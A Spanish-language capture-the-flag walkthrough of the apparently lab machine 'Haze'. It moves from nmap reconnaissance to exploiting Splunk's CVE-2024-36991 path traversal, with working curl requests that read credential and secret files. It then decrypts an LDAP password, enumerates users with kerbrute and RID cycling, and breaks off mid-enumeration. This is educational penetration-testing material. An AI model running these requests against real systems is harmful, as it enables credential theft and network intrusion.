Haze

Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Haze. Este resultado lo almacenaremos en un archivo llamado allPorts
.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.129.140.67 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:49 CEST
Initiating SYN Stealth Scan at 10:49
Scanning 10.129.140.67 [65535 ports]
Discovered open port 445/tcp on 10.129.140.67
Discovered open port 135/tcp on 10.129.140.67
Discovered open port 53/tcp on 10.129.140.67
Discovered open port 139/tcp on 10.129.140.67
Discovered open port 464/tcp on 10.129.140.67
Discovered open port 63777/tcp on 10.129.140.67
Discovered open port 49667/tcp on 10.129.140.67
Discovered open port 49664/tcp on 10.129.140.67
Discovered open port 49668/tcp on 10.129.140.67
Discovered open port 47001/tcp on 10.129.140.67
Discovered open port 3268/tcp on 10.129.140.67
Discovered open port 49672/tcp on 10.129.140.67
Discovered open port 49665/tcp on 10.129.140.67
Discovered open port 49665/tcp on 10.129.140.67
Discovered open port 64517/tcp on 10.129.140.67
Discovered open port 64512/tcp on 10.129.140.67
Discovered open port 8089/tcp on 10.129.140.67
Discovered open port 3269/tcp on 10.129.140.67
Discovered open port 49681/tcp on 10.129.140.67
Discovered open port 8000/tcp on 10.129.140.67
Discovered open port 5985/tcp on 10.129.140.67
Discovered open port 49666/tcp on 10.129.140.67
Discovered open port 389/tcp on 10.129.140.67
Discovered open port 8088/tcp on 10.129.140.67
Discovered open port 64531/tcp on 10.129.140.67
Discovered open port 64551/tcp on 10.129.140.67
Discovered open port 88/tcp on 10.129.140.67
Discovered open port 88/tcp on 10.129.140.67
Discovered open port 9389/tcp on 10.129.140.67
Discovered open port 593/tcp on 10.129.140.67
Discovered open port 49684/tcp on 10.129.140.67
Discovered open port 636/tcp on 10.129.140.67
Completed SYN Stealth Scan at 10:49, 21.56s elapsed (65535 total ports)
Nmap scan report for 10.129.140.67
Host is up, received user-set (0.049s latency).
Scanned at 2025-03-30 10:49:35 CEST for 21s
Not shown: 65256 closed tcp ports (reset), 249 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
8000/tcp open http-alt syn-ack ttl 127
8088/tcp open radan-http syn-ack ttl 127
8089/tcp open unknown syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49672/tcp open unknown syn-ack ttl 127
49681/tcp open unknown syn-ack ttl 127
49684/tcp open unknown syn-ack ttl 127
63777/tcp open unknown syn-ack ttl 127
64512/tcp open unknown syn-ack ttl 127
64517/tcp open unknown syn-ack ttl 127
64531/tcp open unknown syn-ack ttl 127
64551/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.67 seconds
Raw packets sent: 75837 (3.337MB) | Rcvd: 67193 (2.688MB)
A través de la herramienta de extractPorts
, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.129.140.67
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49681,49684,63777,64512,64517,64531,64551
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.
❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49681,49684,63777,64512,64517,64531,64551 10.129.140.67 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:51 CEST
Nmap scan report for 10.129.140.67
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-30 09:10:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp open http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.140.67:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open msrpc Microsoft Windows RPC
63777/tcp open msrpc Microsoft Windows RPC
64512/tcp open msrpc Microsoft Windows RPC
64517/tcp open msrpc Microsoft Windows RPC
64531/tcp open msrpc Microsoft Windows RPC
64551/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2019 (92%), Microsoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows Server 2012 (91%), Microsoft Windows 10 1703 (90%), Windows Server 2019 (90%), Microsoft Windows 10 1607 (89%), Microsoft Windows 10 1511 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 19m28s
| smb2-time:
| date: 2025-03-30T09:11:44
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 69.80 ms 10.10.16.1
2 28.54 ms 10.129.140.67
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.47 seconds
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Accederemos a http://localhost y verificaremos el resultado en un formato más cómodo para su análisis.

Para empezar, crearemos una variable de entorno llamada IP
en la cual el valor será la IP de la máquina Haze
, para hacer referencia a esa dirección IP cada vez que pongamos $IP
.
A través de la herramienta de netexec
y ldapsearch
enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
❯ export IP=10.129.140.67
❯ nxc smb $IP
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://$IP -s base | grep defaultNamingContext
defaultNamingContext: DC=haze,DC=htb
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.
❯ cat /etc/hosts | grep haze.htb
10.129.140.67 dc01.haze.htb haze.htb
Por otro lado, también verificamos que el usuario guest
se encuentra deshabilitado, con lo cual no podemos enumerar usuarios, recursos, etc.
❯ nxc smb $IP -u 'guest' -p ''
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.140.67 445 DC01 [-] haze.htb\guest: STATUS_ACCOUNT_DISABLED
Web Enumeration
En el resultado obtenido en Nmap
, verificamos de la existencia de los puertos 8000
y 8089
que son puertos que normalmente utiliza Splunk
para la interfaz web y la aomunicación entre instancias de Splunk.
Al realizar una enumeración de esos puertos con whatweb
nos encontramos con las tecnologías que utiliza la aplicación web.
❯ whatweb -a 3 http://haze.htb:8000
http://haze.htb:8000 [303 See Other] Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.140.67], Meta-Refresh-Redirect[http://haze.htb:8000/en-US/], RedirectLocation[http://haze.htb:8000/en-US/], Title[303 See Other], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://haze.htb:8000/en-US/ [303 See Other] Cookies[session_id_8000], Country[RESERVED][ZZ], HTTPServer[Splunkd], HttpOnly[session_id_8000], IP[10.129.140.67], RedirectLocation[http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F [200 OK] Bootstrap, Cookies[cval,splunkweb_uid], Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.140.67], Meta-Author[Splunk Inc.], Script[text/json], probably Splunk, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]
Al acceder a http://haze.htb:8000 nos encontramos con la interfaz administrativa de inicio de sesión a Splunk
. Necesitamos credenciales de acceso para acceder a la interfaz, probamos con credenciales típicas pero no obtenemos reusltado.

Al acceder a http://haze.htb:8089 nos encontramos con la página web que utiliza Splunk
para la comunicación entre las instancias que utiliza. Entre la información que disponemos, nos encontramos que utiliza la versión Splunk 9.2.1
.
Esto puede proporcionar información adicional a un atacante debido que conoce la versión exacta de una aplicación, pudiendo buscar posibles vulnerabilidades reportadas que afecten a dicha versión.

Auth as paul.taylor
Splunk 9.2.1 Exploitation - Arbitrary Files Reads (CVE-2024-36991)
Realizando una búsqueda por Internet sobre esta versión para buscar posibles vulnerabilidades ya conocidas, nos encontramoscon diferentes vulnerabilidades. Entre las cuales la que más nos llama la atención es la reportada como CVE-2024-36991
.

En Splunk Enterprise en Windows versiones por debajo de 9.2.2, 9.1.5, y 9.0.10, un atacante podría realizar un path traversal en el /modules/messaging/ endpoint en Splunk Enterprise en Windows. Esta vulnerabilidad sólo debería afectar a Splunk Enterprise en Windows.
Enel siguiente blog, nos detallan más en profundidad en relación a la vulnerabilidad de Path Traversal
en la versión vulnerable de Splunk
. Por otro lado, también ofrece un repositorio de GitHub
en el que no smuestran un PoC
para explotar dicha vulnerabilidad.
❯ git clone https://github.com/bigb0x/CVE-2024-36991; cd CVE-2024-36991
Clonando en 'CVE-2024-36991'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 22 (delta 4), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (22/22), 135.19 KiB | 353.00 KiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.
Durante la explotación de la vulnerabilidad CVE-2024-36991
, logramos acceder al archivo passwd
utilizado internamente por Splunk, ubicado en su directorio de instalación ($SPLUNK_HOME/etc/passwd
). Aunque el sistema operativo es Windows, Splunk utiliza este archivo con un formato similar al clásico /etc/passwd
de sistemas Unix/Linux para almacenar usuarios locales cuando no se utiliza LDAP como método de autenticación exclusivo.
Este archivo contiene los nombres de usuario locales, junto con sus hashes de contraseñas (SHA512-Crypt). Gracias a esto, pudimos extraer varios hashes y proceder a su análisis offline para intentar recuperar contraseñas válidas y acceder a la interfaz web de Splunk con privilegios administrativos.
❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 2>/dev/null
______ _______ ____ ___ ____ _ _ _____ __ ___ ___ _
/ ___\ \ / | ____| |___ \ / _ |___ \| || | |___ / / /_ / _ \ / _ \/ |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|________) | (_) \__, |\__, | |
\____| \_/ |_____| |_____|\___|_____| |_| |____/ \___/ /_/ /_/|_|
-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file.
-> By x.com/MohamedNab1l
-> Use Wisely.
[INFO] Testing single target: http://haze.htb:8000
[VLUN] Vulnerable: http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152
Verificamos que el tipo de hash que obtenemos del $SPLUNK_HOME/etc/passwd
se encuentra en SHA-512
. Intentamos crackear estos hashes pero no logramos obtener resultado ninguno.
❯ hashid '$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1'
Analyzing '$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1'
[+] SHA-512 Crypt
La vulnerabilidad de Path Traversal
de esta versión de Splunk
se realiza a través del siguiente PoC
.
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/win.ini"
En este caso, pusimos a prueba para intentar listar un archivo del sistema Windows. En el resultado obtenido, verificamos que logramos obtener el archivo C:\Windows\win.ini
realizando el Path Traversal
.
❯ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/win.ini"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
También podemos listar otros archivos realizando el Path Traversal
, como en este caso que pudimos listar el C:\Windows\System32\drivers\etc\hosts
del sistema operativo Windows que levanta el servicio de Splunk
, probablemente el mismo Domain Controller
.
❯ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/System32/drivers/etc/hosts"
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
Leaking and Decrypting Splunk Credentials via Arbitrary File Read + splunksecrets
El siguiente objetivo será intentar listar archivos sensibles de configuración de Splunk
para intentar obtener credenciales de acceso. El primer objetivo que teníamos presentes es el de server.conf
ubicado normalmente en C:/Program Files/Splunk/etc/system/local/server.conf
.
Dentro del archivo server.conf
observamos parámetros como pass4SymmKey
y sslPassword
, los cuales están cifrados con una clave maestra interna de Splunk conocida como splunk.secret
. Esta clave se genera automáticamente durante la instalación de Splunk y se guarda en el archivo:
$SPLUNK_HOME/etc/auth/splunk.secret
❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/server.conf"
[general]
serverName = dc01
pass4SymmKey = $7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
[sslConfig]
sslPassword = $7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
[lmpool:auto_generated_pool_download-trial]
description = auto_generated_pool_download-trial
peers = *
quota = MAX
stack_id = download-trial
[lmpool:auto_generated_pool_forwarder]
description = auto_generated_pool_forwarder
peers = *
quota = MAX
stack_id = forwarder
[lmpool:auto_generated_pool_free]
description = auto_generated_pool_free
peers = *
quota = MAX
stack_id = free
En un blog que encontramos durante la fase de investigación, se mencionaba que el archivo splunk.secret
suele estar ubicado en la ruta:
$SPLUNK_HOME/etc/auth/splunk.secret

Con esta información, decidimos utilizar nuevamente la vulnerabilidad de Path Traversal para intentar acceder a dicho archivo. La petición fue exitosa y logramos obtener el contenido completo del archivo splunk.secret
, el cual es utilizado por Splunk como clave maestra para cifrar y descifrar contraseñas en archivos de configuración internos:
❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
Además del archivo server.conf
, Splunk también utiliza otros archivos de configuración sensibles. Uno de ellos es authentication.conf
, el cual nos resultó especialmente interesante ya que no solo contiene parámetros de autenticación, sino también credenciales asociadas a un usuario de dominio. Este archivo normalmente se encuentra ubicado en:
$SPLUNK_HOME/etc/system/local/authentication.conf
En este archivo se mostraba el usuario de dominio Paul Taylor, configurado como bindDN
, junto con su contraseña cifrada. Esa contraseña estaba protegida con el sistema interno de Splunk, usando la clave maestra splunk.secret
que ya habíamos conseguido antes.
❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
Para desencriptar la contraseña cifrada, utilizamos la herramienta splunksecrets
, la cual instalamos directamente desde su repositorio oficial en GitHub. Esta herramienta nos permite descifrar valores protegidos por Splunk utilizando el archivo splunk.secret
como clave maestra.
Descargamos el archivo splunk.secret
mediante Path Traversal y lo guardamos localmente para usarlo con la herramienta splunksecrets
, la cual instalamos desde su repositorio oficial. Con esta herramienta, desencriptamos la contraseña cifrada del usuario Paul Taylor que habíamos encontrado previamente en el archivo authentication.conf
.
El comando nos devolvió la contraseña en texto plano: Ld@p_Auth_Sp1unk@2k24
.
❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret" -o splunk.secret
❯ splunksecrets splunk-decrypt -S splunk.secret
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24
Username Enumeration: NameMash Generation and Kerbrute Validation
Disponemos de unas credenciales que parecen estar relacionadas con LDAP
, pero no disponemos del nombre de usuario válido de Paul Taylor
, solamente su nombre y apellido. Por dicho motivo, crearemos un archivo employees.txt
en el cual ingresemos el nombre y apellido del único usuario que disponemos para posteriormente crear un diccionario de posibles nombres de usuarios.
❯ cat employees.txt
Paul Taylor
A través de la herramienta de namemash.py
nos encargaremos de generar un listado de posibles usuarios a través de la combinación del nombre y apellido obtenido.
❯ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
--2025-03-30 11:18:32-- https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2086 (2,0K) [text/plain]
Grabando a: «namemash.py»
namemash.py 100%[===================================================================================================================================>] 2,04K --.-KB/s en 0s
2025-03-30 11:18:33 (37,1 MB/s) - «namemash.py» guardado [2086/2086]
❯ python3 namemash.py employees.txt > possible_users.txt
❯ cat possible_users.txt
paultaylor
taylorpaul
paul.taylor
taylor.paul
taylorp
ptaylor
tpaul
p.taylor
t.paul
paul
taylor
Para validar los posibles nombres de usuario generados previamente, utilizamos la herramienta Kerbrute
, que dispone de un módulo específico para enumerar usuarios a través de fuerza bruta contra el servicio Kerberos (puerto 88). Esta técnica nos permite identificar usuarios válidos sin necesidad de conocer sus contraseñas.
Antes de ejecutar la herramienta, ajustamos el archivo de configuración /etc/krb5.conf
para evitar problemas de resolución con el dominio y asegurar que Kerberos funcione correctamente. Dejamos el archivo con la siguiente configuración:
[libdefaults]
default_realm = HAZE.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = 10.129.109.233
admin_server = 10.129.109.233
}
[domain_realm]
.haze.htb = HAZE.TB
haze.htb = HAZE.HTB
Además, para evitar el error KRB_AP_ERR_SKEW
relacionado con la diferencia horaria en Kerberos, sincronizamos la hora de nuestra máquina con la del controlador de dominio (DC) utilizando el siguiente comando.
Este paso es clave en ataques relacionados con Kerberos, ya que una diferencia de tiempo superior a 5 minutos entre el cliente y el servidor puede bloquear la autenticación.
❯ sudo ntpdate -s $IP
Con el diccionario generado previamente, ejecutamos Kerbrute para validar los posibles nombres de usuario contra el servicio Kerberos del dominio haze.htb
. Utilizamos el módulo userenum
, que nos permite comprobar qué usuarios existen en el dominio sin necesidad de conocer sus contraseñas.
La herramienta nos confirmó que el usuario paul.taylor@haze.htb
era válido. Esto validaba que nuestra estrategia de generación de nombres había funcionado y nos daba una cuenta real sobre la cual enfocar los siguientes pasos del ataque.
❯ kerbrute userenum --dc dc01.haze.htb -d haze.htb possible_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/30/25 - Ronnie Flathers @ropnop
2025/03/30 11:20:34 > Using KDC(s):
2025/03/30 11:20:34 > dc01.haze.htb:88
2025/03/30 11:20:34 > [+] VALID USERNAME: paul.taylor@haze.htb
2025/03/30 11:20:34 > Done! Tested 11 usernames (1 valid) in 0.144 seconds
Probamos de autenticarnos con NetExec
mediante LDAP
con las credenciales y el nombre de usuario obtenido, y verificamos que las credenciales son válidas para dicho usuario.
Por otro lado, también comprobamos que a través del usuario paul.taylor
no podemos conectarnos al Domain Controller
a través de WinRM
, ya que probablemente no forme parte del grupo Remote Management Users
o sea administrador local del equipo.
❯ nxc ldap $IP -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
❯ nxc winrm $IP -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
Shell as mark.adams
RID Cycling Attack (ridenum)
Como ya teníamos credenciales válidas del dominio (paul.taylor
), lanzamos un ataque de RID Cycling con la herramienta ridenum
para enumerar usuarios y equipos del dominio a través de los RIDs. Esta técnica se basa en que los identificadores de los objetos del dominio siguen un patrón secuencial dentro del SID base.
La herramienta identificó el SID base del dominio (S-1-5-21-323145914-28650650-2368316563
) y, a partir de ahí, fue enumerando RIDs y recuperando cuentas reales del dominio. Entre los resultados obtenidos encontramos usuarios y equipos como Administrator
, krbtgt
, mark.adams
, edward.martin
, alexander.green
y el equipo Haze-IT-Backup$
, lo que nos permitió obtener un listado de usuarios válidos.
❯ ridenum $IP 500 50000 'paul.taylor' 'Ld@p_Auth_Sp1unk@2k24'
[*] Attempting lsaquery first...This will enumerate the base domain SID
[*] Successfully enumerated base domain SID. Printing information:
Domain Name: HAZE
Domain Sid: S-1-5-21-323145914-28650650-2368316563
[*] Moving on to extract via RID cycling attack..
[*] Enumerating user accounts.. This could take a little while.
Account name: HAZE\Administrator
Account name: HAZE\Guest
Account name: HAZE\krbtgt
Account name: HAZE\DC01$
Account name: HAZE\paul.taylor
Account name: HAZE\mark.adams
Account name: HAZE\edward.martin
Account name: HAZE\alexander.green
Account name: HAZE\Haze-IT-Backup$
[*] RIDENUM has finished enumerating user accounts...
Nos copiaremos el resultado obtenido anteriormente en un archivo llamado users.txt
